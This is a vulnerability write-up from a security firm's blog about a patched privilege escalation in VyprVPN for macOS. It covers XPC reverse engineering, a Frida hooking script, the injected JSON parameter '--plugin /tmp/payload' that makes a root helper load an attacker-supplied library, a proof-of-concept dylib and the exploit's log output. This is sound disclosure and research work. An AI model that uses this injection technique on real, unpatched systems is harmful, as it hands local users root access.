Advisory for Privilege Escalation Vulnerability

In 2017, VerSprite released an advisory for a privilege escalation vulnerability in the VyprVPN for MacOS application.

Auditing

When performing attack surface enumeration for any macOS application, I typically search for XPC (Cross Process Communication) API usage. I’ve found that rarely do I see XPC services in third-party applications being secured, so it tends to always be a focal point for my bug hunting efforts.

I’m not going to deep dive XPC internals in this blog, so I would highly suggest reading Ian Beer’s slides, which cover this topic in depth.

For now all we need to know is that XPC is a form of inter-process communication and XPC message typically take the form of a dictionary which can contain various types such as arrays , strings , etc. Observing the output from nm on the VyprVPN binary, it looks like the application is indeed utilizing various XPC functions.

╭─[email protected] /Applications/VyprVPN.app/Contents/MacOS ╰─$ nm VyprVPN | grep xpc U __xpc_type_dictionary U _xpc_connection_create_mach_service U _xpc_connection_resume U _xpc_connection_send_message_with_reply U _xpc_connection_set_event_handler U _xpc_copy_description U _xpc_dictionary_create U _xpc_dictionary_get_data U _xpc_dictionary_set_data U _xpc_get_type

The first thing I want to know is whether the VyprVPN application is functioning as a client, and also what endpoint it is connecting to. In order to figure this out, let’s focus on the xpc_connection_create_mach_service function.

xpc_connection_t xpc_connection_create_mach_service(const char *name, dispatch_queue_t targetq, uint64_t flags); Parameters name The name of the remote service with which to connect. The service name must exist in a Mach bootstrap that is accessible to the process and be advertised in a launchd.plist.

Apple’s documentation tells us that the first argument passed to the xpc_connection_create_mach_service function is the name of the remote service with which to connect. After loading the VyprVPN binary into IDA and looking up cross-references to the xpc_connection_create_mach_service function, we can observe that xpc_connection_create_mach_service is being called from -[VyprVPNProxy sendRequest:withCompletionHandler:] .

After only a quick glance at the disassembly, we can spot the name of the service being passed in RDI before the xpc_connection_create_mach_service is invoked.

add rdx, rdx lea rdi, aVyprvpnservice_3 ; "vyprvpnservice" xor esi, esi call _xpc_connection_create_mach_service

The -[VyprVPNProxy sendRequest:withCompletionHandler:] function contains most the of the core functionality when it comes to creating new XPC connections and sending out XPC messages. Before we dive into what is being sent via the XPC messages, let’s figure out who is serving up the vyprvpnservice XPC endpoint.

vyprvpnservice

The VyprVPN application can be configured to auto-connect to a selected VPN endpoint once the operating system has finished booting. So this means the application probably installed a LaunchDaemon . After digging into the available LaunchDaemons , we find our target.

[email protected] /Library/LaunchDaemons ╰─$ ls -la ... .. . -rw-r--r-- 1 root wheel 547 Dec 8 15:01 vyprvpnservice.plist

<!--?xml version="1.0" encoding="UTF-8"?--> KeepAlive Label vyprvpnservice MachServices vyprvpnservice Program /Library/PrivilegedHelperTools/vyprvpnservice ProgramArguments /Library/PrivilegedHelperTools/vyprvpnservice

Just as expected the vyprvpnservice binary contains XPC API usage, including the xpc_connection_create_mach_service function.

╭─[email protected] /Library/PrivilegedHelperTools ╰─$ nm vyprvpnservice | grep xpc U __xpc_type_connection U __xpc_type_dictionary U _xpc_connection_cancel U _xpc_connection_create_mach_service U _xpc_connection_resume U _xpc_connection_send_message U _xpc_connection_set_event_handler U _xpc_dictionary_create_reply U _xpc_dictionary_get_data U _xpc_dictionary_get_remote_connection U _xpc_dictionary_set_data U _xpc_get_type

Now we need to figure out what the VyprVPN application is sending to the vyprvpnservice via XPC and how the vyprvpnservice is processing and operating on the data within the XPC messages. When I am reverse engineering applications that are utilizing XPC, I’ll typically start looking for cross-references to any xpc_dictionary_get_* type functions. Let’s focus our attention on _xpc_dictionary_get_data`.

const void * xpc_dictionary_get_data(xpc_object_t xdict, const char *key, size_t *length);

Gets a raw data value from a dictionary directly.

The xpc_dictionary_get_data function is called indirectly from the -[ServiceListener start] function, which is responsible for dealing with inbound XPC connections and processing XPC messages. The data returned from the xpc_dictionary_get_data function is converted into an NSData object and passed to the +[JsonShim objectFromData:] function.

-[ServiceListener start] ... .. . lea rsi, aData_1 ; "data" lea rdx, [rbp+var_88] mov rdi, r15 call _xpc_dictionary_get_data mov rdi, cs:classRef_NSData ; void * mov rcx, [rbp+var_88] mov rsi, cs:selRef_dataWithBytes_length_ ; char * mov r12, cs:_objc_msgSend_ptr mov rdx, rax call r12 ; _objc_msgSend mov rdi, rax call _objc_retainAutoreleasedReturnValue mov [rbp+var_90], rax mov rdi, cs:classRef_JsonShim ; void * mov rsi, cs:selRef_objectFromData_ ; char * mov rdx, rax call r12 ; _objc_msgSend

The JsonShim class is basically a wrapper for the NSJSONSerialization class, which provides functionality for serializing and deserializing JSON to and from Foundation objects.

+[JsonShim objectFromData: ... .. . mov rdi, cs:classRef_NSJSONSerialization ; void * mov [rbp+var_30], 0 mov rsi, cs:selRef_JSONObjectWithData_options_error_ ; char * lea r8, [rbp+var_30] xor ecx, ecx mov rdx, r14 call cs:_objc_msgSend_ptr

+ (id)JSONObjectWithData:(NSData *)data options:(NSJSONReadingOptions)opt error:(NSError * _Nullable *)error; Returns a Foundation object from given JSON data.

The object returned from the JSONObjectWithData function is passed to the -[ServiceListener handleServiceRequest:] function. The JSON data contains a keyword that is used by the -[ServiceListener handleServiceRequest:] function in order to select the appropriate service handler for processing the request. Here is a list of the service handlers that are available to the -[ServiceListener handleServiceRequest:] function.

-[CancelHandler handleRequest:] -[ClearAutomaticPortsHandler handleRequest:] -[ConnectHandler handleRequest:] -[ConnectionLogServiceHandler handleRequest:] -[CrashHandler handleRequest:] -[CrashReportHandler handleRequest:] -[DisconnectHandler handleRequest:] -[FlushDNSCacheHandler handleRequest:] -[GetAllHandler handleRequest:] -[GetOptimizedMTUHandler handleRequest:] -[GetSingleUseTokenServiceHandler handleRequest:] -[KextTalkServiceHandler handleRequest:] -[LoginHandler handleRequest:] -[MalwareContentPolicyHandler handleRequest:] -[OpenVPNArgsHandler handleRequest:] -[PrepareForUpdate handleRequest:] -[PropertyAccessServiceHandler handleRequest:] -[ProvideCredentialsServiceHandler handleRequest:] -[SplitTunnelPreferenceAccess handleRequest:] -[SupportHandler handleRequest:] -[TestHandler handleRequest:] -[TumbleCommandHandler handleRequest:] -[UniqueBindingHandler handleRequest:] -[UserActivityHandler handleRequest:] -[WatchVyprProcessHandler handleRequest:]

I know, I know, I know -[KextTalkServiceHandler handleRequest:] , WTF right? For now we are only going to cover the -[OpenVPNArgsHandler handleRequest:] handler and save everything else for another time.

To be honest with you, I stopped reversing the vyprvpnservice right then and there. After seeing the -[OpenVPNArgsHandler handleRequest:] function my assumption was that I could control the arguments passed to the openvpn binary through an XPC message. To validate this claim, I needed to start inspecting the JSON data in the XPC messages created in the VyprVPN application before they were sent to the vyprvpnservice . So, I crafted the following Frida script to be injected into the VyprVPN process:

var NSJSONSerialization = ObjC.classes.NSJSONSerialization; var JsonShim = ObjC.classes.JsonShim; var dataFromObject = JsonShim["+ dataFromObject:"]; var jsonFromObject = NSJSONSerialization["+ JSONObjectWithData:options:error:"]; var dataWithJSONObject = NSJSONSerialization["dataWithJSONObject:options:error:"]; Interceptor.attach(jsonFromObject.implementation, { onEnter: function(args) { console.log('{+} Hooked + JSONObjectWithData:options:error: [!]'); var data = new ObjC.Object(args[2]); console.log('{+} ' + Memory.readUtf8String(data.bytes(), data.length())); }, onLeave: function(ret) { return ret; } }); Interceptor.attach(dataWithJSONObject.implementation, { onEnter: function(args) { console.log('{+} Hooked dataWithJSONObject:options:error: [!]'); }, onLeave: function(ret) { var data = new ObjC.Object(ret); console.log('{+} ' + Memory.readUtf8String(data.bytes(), data.length())); return ret; } });

The Frida script is hooking the JsonShim class and its functions for serializing the outgoing JSON data and deserializing the incoming JSON data.

The dataWithJSONObject function will be called during the processing of building a new XPC message.

function will be called during the processing of building a new XPC message. The jsonFromObject will be called when receiving the XPC message reply from the vyprvpnservice endpoint.

The next step is to figure out how to trigger a new XPC message that operates on the OpenVPN parameters. After messing around in the main user interface, I found the following option.

After looking at the current parameters set for the OpenVPN client, I somehow reached down into my brain and came back with a thought, “.. I feel like someone told me you could load additional shared-libraries via OpenVPN’s parameters ..”.

Using Shared Object or DLL Plugins Shared object or DLL plugins are usually compiled C modules which are loaded by the OpenVPN server at run time. For example if you are using an RPM-based OpenVPN package on Linux, the openvpn-auth-pam plugin should be already built. To use it, add this to the server-side config file:: plugin /usr/share/openvpn/plugin/lib/openvpn-auth-pam.so login

In order to test my theory out, I injected my Frida script in the VyprVPN process, then submitted the following additional argument:

--payload /tmp/payload

Sure enough, this action triggered a new XPC connection and message. The output below is from my Frida script:

{+} Hooked dataWithJSONObject:options:error: [!] {+} {"RequestedKey":"openvpn_additional_params","Value":"--plugin \/tmp\/payload","Action":"set"} {+} Hooked + JSONObjectWithData:options:error: [!] {+} {"ReplyContainsAnswer":false,"ReturnCode":0,"ReplyName":"openvpn_additional_params"}

All we need to do now is generate a simple dynamic library and start building our exploit!

The dynamic library used for the PoC is simple and contains the following code:

__attribute__((constructor)) void ctor(int argc, const char* argv[], const char* envp[], const char* apple[], const struct ProgramVars* vars) { NSLog(@"[+] Loaded by OpenVPN [!]"); }

For our exploit to work, it needs to contain the following operations:

Create a new XPC connection to the vyprvpnservice endpoint

endpoint Serialize our JSON payload using the NSJSONSerialization datawithObject function

function Convert the resulting NSDictionary to a NSData object

to a object Create a new xpc_dictionary and store the NSData object in the dictionary

and store the object in the dictionary Send the XPC message

Process the response

Let’s run it!

2018-01-23 14:19:03.877306-0500 CobraCommander[22155:2549601] [+] Connecting to vyprvpnservice [!] 2018-01-23 14:19:03.877355-0500 CobraCommander[22155:2549601] [+] Service connection successfull [!] 2018-01-23 14:19:03.877398-0500 CobraCommander[22155:2549601] [+] Building XPC dictionary [!] 2018-01-23 14:19:03.877491-0500 CobraCommander[22155:2549601] [+] XPC dictionary creation finished [!] 2018-01-23 14:19:03.877503-0500 CobraCommander[22155:2549601] [+] Sending XPC message with updated params --plugin /Users/rotlogix/Development/Plugin/libPlugin [!] 2018-01-23 14:19:03.878400-0500 CobraCommander[22155:2550011] [+] Received response from XPC service [!] 2018-01-23 14:19:03.878467-0500 CobraCommander[22155:2550011] [+] { count = 1, transaction: 0, voucher = 0x0, contents = "data" => : { length = 84 bytes, contents = 0x7b225265706c79436f6e7461696e73416e73776572223a66... } } 2018-01-23 14:19:03.878670-0500 CobraCommander[22155:2550011] [+] { ReplyContainsAnswer = 0; ReplyName = "openvpn_additional_params"; ReturnCode = 0; }

Alright, we should have successfully updated OpenVPN’s arguments. Once we tell VyprVPN to make a new VPN connection, this should load and execute our dynamic library. If we open up the console and search for openvpn , we should see the following output:

default 14:20:34.852864 -0500 openvpn [+] Loaded by OpenVPN [!]

Conclusion

First of all, I would like to give a shout out to the Golden Frog team for resolving this issue so quickly. If you’re using VyprVPN for macOS, I would suggest updating to the newest version if you haven’t already, which includes the fix for this vulnerability.

References

https://github.com/VerSprite/research/blob/master/advisories/VS-2017-007.md

https://developer.apple.com/documentation/xpc?language=objc

https://developer.apple.com/documentation/foundation/nsjsonserialization?language=objc

https://thecyberwire.com/events/docs/IanBeer_JSS_Slides.pdf

VerSprite's Research and Development division (a.k.a VS-Labs) is comprised of individuals who are passionate about diving into the internals of various technologies.



Our clients rely on VerSprite's unique offerings of zero-day vulnerability research and exploit development to protect their assets from various threat actors.



From advanced technical security training to our research for hire B.O.S.S offering, we help organizations solve their most complex technical challenges. Learn more about Research as a Service →